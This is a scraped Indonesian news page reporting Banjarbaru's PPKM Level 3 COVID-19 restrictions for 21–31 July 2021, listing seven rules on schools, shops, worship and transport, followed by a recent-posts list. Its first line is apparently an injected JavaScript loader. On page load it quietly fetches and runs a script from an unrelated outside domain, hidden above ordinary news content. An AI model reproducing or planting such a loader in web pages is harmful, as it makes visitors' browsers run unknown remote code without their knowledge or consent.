(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Banjarbaru PPKM Level 3, Ini Sejumlah Konsekuensi dan Aturan yang Harus Dipahami


KANALKALIMANTAN.COM, BANJARBARU– Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3, dimulai tanggal 21 Juli hingga 31 Juli 2021 mendatang.

Pernyataan ini disampaikan langsung oleh Wali Kota Banjarbaru, Aditya Mufti Ariffin saat memimpin rapat tindak lanjut PPKM di Kota Banjarbaru bersama SKPD terkait dan Forkopimda, di Aula Gawi Sabarataan, Rabu (21/7/2021).

Lalu, apa saja peraturan saat melakukan PPKM di level 3, berikut rinciannya:

Baca juga: Banjarbaru Masuk Zona Hitam Covid-19, Wali Kota Aditya Berlakukan PPKM Level 3

 

 

1) Proses belajar mengajar akan dilakukan secara daring (online) 100 persen

2) Pekerja industri diberlakukan shift maksimal 50 persen.

3) Rumah makan dan minum seperti kafe boleh buka, namun hanya bisa pesan antar saja, dan untuk warung-warung lapak jalan atau Pedagang Kaki Lima (PKL) diizinkan buka dengan menggunakan protokol kesehatan yang lebih ketat, yang akan diatur lebih lanjut oleh Perda.

4) Mall dan pusat perbelanjaan tambahnya, akan diperbolehkan buka hingga pukul 17.00 WITA.

5) Pasar tradisional juga tetap diizinkan buka, namun wajib untuk memperketat protokol kesehatan dan semuanya diatur lebih lanjut oleh peraturan daerah (Perda).

6) Fasilitas umum ditutup total sementara, masjid tidak melakukan (menggelar) salat berjemaah, kegiatan sosial ditiadakan sementara waktu.

7) Kapasitas penumpang transportasi umum juga dibatasi, hanya diperbolehkan 75 persen serta ada pembatasan waktu operasional.

Baca juga: UPDATE. Sebanyak 1.383 Pasien Covid-19 Meninggal, Rekor Tertinggi Angka Kematian Harian

“Informasi ini akan kami sampaikan ke setiap lurah, kecamatan, dan juga lapisan semua masyarakat, agar ketika melakukan razia (PPKM) para masyarakat tidak ada lagi alasan tidak diberi tahu atau tidak tahu,” tegas Wali Kota Aditya.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

2 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

9 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

10 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

11 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

11 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

12 jam ago

This website uses cookies.